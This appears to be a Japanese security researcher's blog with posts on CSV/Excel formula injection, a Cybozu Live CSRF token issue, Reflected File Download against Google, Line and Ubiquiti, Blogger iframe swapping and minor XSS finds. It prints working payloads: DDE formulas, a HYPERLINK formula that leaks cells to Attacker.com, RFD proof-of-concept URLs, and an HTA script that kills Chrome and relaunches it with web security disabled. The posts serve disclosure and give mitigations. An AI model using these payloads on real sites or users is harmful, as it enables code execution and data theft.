2016年3月30日水曜日

CEMIについて

さて、今日はCSV Excel Macro Injectionという脆弱性のお話です。

参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/

今回はMicrosoft Excelにしぼって説明します。

CEMIはウェブサイトで良く見かける、CSVへの書き出し機能を狙った脆弱性です。皆様ご存知の通り、Excelには関数があり、CSVに書き出す際ユーザ入力が正しくエスケープされていない場合、関数をインジェクトすることにより任意のコード実行などができます。

コード実行にはDynamic Data Exchangeを使います。具体的なコードは以下です。
=cmd|' /C calc'!A0
上記コードの入ったCSVを開く事により電卓が起動します。しかし電卓が起動される前に警告が出ます。参考記事では警告に「ソースを信頼しない限り」クリックしてはいけないとの記述がある為、ユーザがウェブサイトを信頼している場合警告を無視する可能性があると述べられています。また、CEMIはユーザが自らCSVへ書き出し実行しても発火する受動的攻撃である為、警告が無視される可能性を高めると思われます。

更に任意のコード実行まではいかないものの、警告が出ない手法もあります。
=HYPERLINK("http://Attacker.com/?leak="&A1&A2, "Error: please click for further information")
上記の関数をインジェクトすることで、セルがクリックされた際任意のサイトにアクセスさせることができます。更にセルを指定することで、任意のセル情報を取得することができます。上記の例では、セルがクリックされるとAttacker.comにセルA1とセルA2の情報が漏洩されます。

ここまで見る限り、「=」さえエスケープしていれば攻撃は防げそうな気がしますが、危ない記号がまだあります。

https://hackerone.com/reports/72785
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0 
「+」と「-」が先頭にあってもコード実行が可能です。これだけでしょうか?

https://hackerone.com/reports/111192
[%0A]-cmd|' /C calc'!A0
改行コードを先頭に入れることによりコード実行が可能です。ちなみに、スペースを入れられないような場合でも以下でコード実行が可能です。
=cmd|'/C;calc'!A0

CEMIの脆弱性はCybozu.comおよびCybozulive.comに存在していて、報告したところ、特に「-」から始まる入力が頻出する為、 製品の仕様上「-」で始められなくなることが許容出来ないとの回答で脆弱性と認められませんでした。Cybozuユーザの皆様はCSVへ書き出す機能を使う場合はお気をつけ下さい。

実際に脆弱性を試してみたい方は、Cybozuliveにいき、グループの掲示板にあるアンケート機能を使って回答候補に関数を入れて、アンケート結果をCSVに書き出してみて下さい。


対策
HackerOneでは先頭に危険な記号が入る場合、「'」を入れる事でエスケープして関数の実行を防ぐ対策を取っていました。


最近翻訳ブログになってきましたね~w

ではでは。

2016年2月10日水曜日

Cybozu Liveの脆弱性ではない話

今回は、サイボウズさんに報告するも、ユーザーを誘導して複数回の操作をさせる必要がある為に脆弱性と認められなかった挙動を紹介したいと思います。

その挙動は以下です。

http://www.slideshare.net/masatokinugawa/ss-51723687#43

ずばり、https://cybozulive.com/common/transactionTokenJsonDirectにアクセスするとCSRFトークンがダウンロードできるというものです。さて、普通はこのトークンをどうスクリプトで取得するかを考えるわけですが、そんなの面倒臭いのでこの挙動をそのまま使います。

PoC
http://shhnjk.host56.com/token.html

今回はIDEA BOXにHackedというアイディアを載せるPoCなので、PoCを確認したい人でIDEA BOXのニックネームを持ってない人は以下で作っておきましょう。

https://cybozulive.com/ideabox/nicknameAdd

PoCの解説ですが本当に単純で、File APIを使ってアップロードされたファイルからトークンを抜き出し、フォームの中にトークンを入れてPOSTしているだけです。しかし、普通にPOSTするとCybozu Liveに飛んでしまい、ハックがバレてしまうので、同じページ上にあるiframeをTargetにしてPOSTしてます。

この挙動を使うとCybozu Liveアカウントを乗っ取ることも可能ですが、今回は割愛します。

という訳で、誘導の類が加わると脆弱性とは認めて貰えませんよという話でした~。(短ッ!)

ではでは。




2015年12月21日月曜日

RFD 2015

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」21日目の記事です。

CSP 2015がかっこよ過ぎたのでパクりましたw

Reflected File Download(以後RFD)はBlack Hat Europe 2014で発表された比較的新しい脆弱性です。今年になりRFD Cheat Sheetなる記事も書かれました。実は僕も今年の後半はRFDばかり見ていました。

概要
RFDはその名の通り3つの要素がからなります。

1. Reflected
ユーザーの入力した値がレスポンスに反映される。

2. File
URLに任意の文字列を追加でき、尚且つ正常にロードされる。

3. Download
ダウンロードが可能であり、上記2つの要素がダウンロードしたファイルに反映される。

例
ユーザーが検索バーに文字を入れた際に、JSONを使い動的に候補を表示するサイトがあるとします。

リクエスト
https://www.example.com/search?q=user_input
レスポンス
{"q":"user_input","result":"Not Found"}

ここに以下の様なリクエストを送ります。

リクエスト
https://www.example.com/search/setup.bat?q="||calc||
レスポンス
{"q":"\"||calc||","result":"Not Found"}

サーバーがリクエストに対して正常にレスポンスを返す場合、RFDに脆弱になります。JSONのレスポンスにContent-DispositionヘッダーのAttachmentが指定されている場合、上記リクエストのリンクをクリックするとsetup.batファイルがダウンロードされます。もちろんsetup.batファイルにはレスポンスが入っている訳ですが、Windowsコマンドで「||」は前のコマンドが失敗したら次を実行するという意味なので、以下のように解釈されます。

「{"q":"\"」失敗したら次を実行
「calc」失敗したら次を実行
「","result":"Not Found"}」

1行目は正しいコマンドではない為失敗し、「calc」が実行され、電卓が起動します。バイナリは苦手だけど、1度でいいから脆弱性を使って電卓起動してみたい!という方には最高の脆弱性ですねwもちろん拡張子はbat以外にも変えられるので、拡張子の数だけ手法があります。

戦歴
以下のサイトで実際にRFDを見つけました。


サイト種類評価
GoogleJS (Download)Out of Scope
Yammer
(Microsoft)
JS (Download)Rewarded $500
ZendeskJS (Download&Self-RFD)Rewarded $50
Mail.RuJS (Download)Rewarded $150
LineImage (Download)Out of Scope
Ubiquiti NetworksImage (Download)N/A

Downloadの意味は、RFDリンクにダウンロード属性が必要という意味です。つまりChromeもしくはOperaでのみ動きます(Safariは試してないので分かりません)。またJSはJSONやJSONPも含めています。上記以外にも多々報告していますが、今日は控えます。

さて、報奨金を貰えなかったところは修正されていないので、実際の例を見ていきましょう。

Google
こちらでIDがそのままエラーメッセージに反映されているので、ダウンロード属性を付けてあげるとbatファイルがダウンロードされて、それを実行すると電卓が起動します。

PoC
https://clients6.google.com/rpc/plusi/setup.bat?method=plusi.x&id=%22||calc||

実はエラーの場合、普通はRFDができません。例えばこちらのように、HTTPステータスコードがエラーコードの場合、ダウンロード属性を付けてもファイルが正しく保存されません。

PoC
http://cybozushiki.cybozu.co.jp/mt/mt-data-api.cgi/v1/sites/1/entries.bat?status=Publish&offset=%22||calc||

Googleの場合、エラーの際もHTTPステータスコードが200(OK)だった為、RFDが可能でした。当たり前ですが、エラーの場合はエラーコードを返すようにしましょう。

Line
RFDはJSONに依存する問題ではありません。ユーザーの入力が反映されるファイルの拡張子が変更でき、尚且つダウンロードできればいいのです。どんなサイトにもユーザーアイコンがある為、画像に注目しました。

Lineもこちらのようにユーザー画像の拡張子が変更できました。また、Lineはアップロードされた画像のソースにあるコメントをそのまま反映させている為、画像のソースに任意のコードを埋め込むことができました。しかし脆弱性報奨金制度がスマホ用だったため、HTMLとしてダウンロードさせて、ログイン情報を入力させるようなフィッシングの類で報告しました。もちろんHTMLを開いた時点でJSは動くので、SDカード情報は盗めるんだと思います。Androidの場合Operaで動きます。

PoC
http://dl.profile.line.naver.jp/0m038b3eeb7251266324a516ce98d0e1a0af8c48ec8dc3.html

実際にLineに報告したリンクはこちら。パスワードは"Line"です。
RFDで報告したにも関わらず、拡張子を変えてもcontent-typeが正しく指定されている為スクリプトが実行されないので、古いブラウザやプラットフォームに起因する脆弱性となりました(WTF)。また危険なファイルを実行する場合は、ブラウザやOSから警告が出るから大丈夫とのことでした。content-typeの話は論外で、サイトの脆弱性をブラウザとOSの警告に委ねるのはおかしいのでは?との返信を出したものの放置プレイwいや~こんな所で愚痴ってすみませんw次行きます。

Ubiquiti Networks
さてLineの場合はHTMLでしたが、Windowsが標的で画像を使ったRFDがある場合はhtaが使えます。というのも、画像にコマンドを埋め込んでも、画像ソースの改行などでうまくいかないためです。

PoC
http://community.ubnt.com/t5/image/serverpage/image-id/65455i01F8F8FB138903DD/setup.hta
(htaファイルを実行するとChromeが強制終了され、脆弱なChromeが立ち上がります。アラートを確認したら、脆弱なChromeは閉じて下さい)

画像内に以下のスクリプトが埋め込まれています。
<script> 
var sh=new ActiveXObject("WScript.Shell")

sh.run('taskkill /f /im "chrome.exe"', 0, false)

setTimeout(function(){sh.run("chrome.exe --disable-web-security --disable-popup-blocking shhnjk.web.fc2.com/rfd.html")},1000)

</script>
1行目でShellオブジェクトをつくり、2行目でChromeを強制終了します。強制終了するのに少し時間が必要な為、一秒たってから3行目でSOPとPopup Blockerを無効にしたChromeを立ち上げ、攻撃サイトを開きます。上手く行けば、Lineのサイトでアラートが出ます(根に持つタイプ)。もちろんChromeからは何の警告もありません。

Ubiquiti Networksの見解としては「別に細工した画像ファイルをうちのサーバーに上げなくても、攻撃者のサーバーにある実行ファイルをリンクすればいいじゃん」とのことでした。もう愚痴りませんw


さて、折角なのでダウンロード属性なしのものも紹介します。こちらにアップロードされているhta.pngのダウンロードリンクをコピーしnameパラメータをhta.pngからhta.htaに変えてリンクにアクセスして見てください。以下の様な感じ。

https://chromium.googlecode.com/issues/attachment?aid=5279980000001&name=hta.hta&token=token&id=527998&mod_ts_token=token

この様に、Content-DispositionヘッダーがAttachmentになっている場合は自動でダウンロードされます。しかし、今回の場合はトークンが必要で、1人目しかリンクからダウンロードが出来ないため、あまり実用的ではありません。


画像を使ったRFDは、世界的に有名でセキュリティがしっかりしているサイトでは見つかりません。これはそのようなサイトが、そもそもユーザーからアップロードされたコンテンツを信頼されるドメインにホストしない為です。サイトと同じドメイン上にユーザーからアップロードされたコンテンツをホストすると、IEのbehaviorが使えるようになったりもするので、出来るだけSandboxドメインにホストするようにしましょう。


対策
RFDの対策として、ユーザーの入力をエスケープではなくエンコードすることや、拡張子の変更や追加をエラーにするなどの対策もありますが、ユーザーの入力が反映されるファイルには、Content-Dispositionヘッダーを追加しFilenameを無害なものに指定してください。こうすることで、どんな値が入ろうとも拡張子が変わらない為、RFDに脆弱にはなりません。

まとめ
今回PoCは書かなかったものの、RFDを使えば、攻撃者はウィルスやランサムウェアをPCにインストールすることも出来ます。また攻撃者はユーザーが信頼するサイトの中で1つでも脆弱なものを見つければ、ユーザーのPCを乗っ取れるため、とても理に適った脆弱性です。しかし、そもそもリンクをクリックしてダウンロードしたファイルを開くか?とRFDを脆弱性と認めないところもあります。これに関してはバグハンターもCSIRTもある程度ITリテラシーがある為わかりません。実際にこの脆弱性が悪用される日が来れば、答えが出るのかもしれませんね。

ではでは。

2015年12月17日木曜日

Bloggerの脆弱性か分からなかった話

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」17日目の記事です。

本ブログでも使わせて頂いているBloggerですが、Bloggerやその他殆どのブログではスクリプトが許可されている為、スクリプトを使って何をしようとも運営側はスコープ外として脆弱性とは認めてくれません。その為スクリプトを使って運営側が嫌がることをしてやろうと考えましたw

色々見ているとBloggerのコメントやいいねがiframeによりロードされていることがわかりました。しかもURLは以下のように単純でした。

コメント
https://www.blogger.com/comment-iframe.g?blogID=Any_Blog_ID&postID=Any_Post_ID
いいね
https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=Any_Blog_URL

その為スクリプトを使えば、いいねボタンやコメント欄を他のブログのものに変更することができます。

PoC
http://shhnjktest.blogspot.com/2015/11/test.html

以下がスクリプト。
<script>window.onload=function(){ 
frames["comment-editor"].location.replace("https://www.blogger.com/comment-iframe.g?blogID=3133629339100716711&postID=4516647146558699181"); 
document.getElementsByTagName("iframe")[1].src="https://apis.google.com/u/0/se/0/_/+1/fastbutton?size=medium&annotation=inline&hl=ja&url=http%3A%2F%2Fshhnjk.blogspot.com%2F2015%2F10%2FHow-to-use-XSS.html" 
}</script>
いいねボタンとコメント欄がリロードしたのが分かるかと思います。上記の投稿にコメントやいいねをすると、今更聞けないXSSの使い方に反映されます。もちろんユーザーにコメントして貰わないと攻撃が成功しませんが、XSS Challengeを開催したらどうでしょう?

例(これは本物のXSS Challengeです)
https://www.davidsopas.com/win-50-amazon-gift-card-with-a-xss-challenge/

50$と書くだけで15件コメントが来てますwということでGoogleに報告したところ、どう修正すればいいのかわからないので、考え中とのこと(修正しないかも)。もちろん公開の許可は貰いました。

対策

確かにブログでスクリプトを使えることは良いことなのかもしれませんが、ブログを読みたいユーザーがいいねボタンやコメントなど、ブログ記事以外のものも信頼できないのは困ります。なので、出来ればSandboxドメインを作り、iframeでブログ記事を表示するようにすればいいんじゃないでしょうか。これにより、親フレームのコンテンツは変更出来なくなります。更に親フレームのリダイレクトを防ぎたい場合は、iframeにsandbox属性を付けることで、スクリプトはいいけど親フレームはリダイレクトさせないなど詳細に権限を与えられます。唯一問題なのはCookie Bombです。これはSandboxドメインでスクリプトの実行が可能な為、Sandboxドメイン全部が見れなくなってしまいます。この問題はサイトというよりCookieそのものの問題なのでどうしようもなさそうです。

ということで、ブログにコメントやいいねをする際はくれぐれも気をつけましょうw

ではでは。

2015年12月8日火曜日

izumino.jpのXSS

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」8日目の記事です。

先日以下のツイートが回ってきました。


感想が知りたいらしいので、とりあえず見てみる。


検索を使ってみる。


ダブルクォートは正しく処理されていたものの、シングルクォートの処理を誤った為、謎のアトリビュートが追加されてる。これを踏まえて、もう一回検索を使ってみる。


感想を送ったら、直ぐに修正されました。すばらしい!

ではでは。

2015年12月5日土曜日

Plus codesのXSS

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」5日目の記事です。

明日に繋ぐ為に書きます。

8月にGoogleが地球上のあらゆる場所を数文字で示せるサイトを公開みたいな記事を読んでみてみた。

http://plus.codes/


確かにロケーションを教えてくれますね~!ってことでGoogleに報告。しかしGoogleから「これはうちのサイトじゃない。最低でも誰のドメインか確かめてから報告してくれ」と言われる。ということで誰のものか探す。open location codeのものだと判明。メーリングリストにバグを報告。しかしよく見るとopen location codeはGoogleによってメンテされていると書かれている。Googleに確認してみる。Googleから「うちのだったwバグを登録したからちょっと待ってて」と言われる。いや、既に直されてますよと報告。Googleから「パネルが金払う価値ないと仰られた」と言われる。とりあえず散々でしたwではでは。

2015年12月3日木曜日

CyVDB-998

この記事は「脆弱性"&'<<>\ Advent Calendar 2015」3日目の記事です。

UAEでは殉教者の日ということで今日もお休みで御座います。中東諸国は金曜日と土曜日が休日なので、連休続きでうはうは状態ですw

さて、今日はCyVDB-998について書きます。

Cybozu liveにはIDEA BOXなるものがあり、Cybozuさんに要望を伝えることができるとてもいい機能です。
要望登録にはカテゴリを選択する必要があるのでとりあえずそこから見ることにしました。


バリューが並んでいるので、とりあえず適当に100に変えて要望を登録してみる。

何故か要望一覧が見れなくなる。とりあえずCybozuさんに報告。


良い事したのか悪い事したのか分からないメールが皆様に届く。

ということで、数字を変えるだけでもサイトが落ちる可能性があるので、脆弱性を探す際は、くれぐれも気をつけましょう(僕が言うのもなんですが)。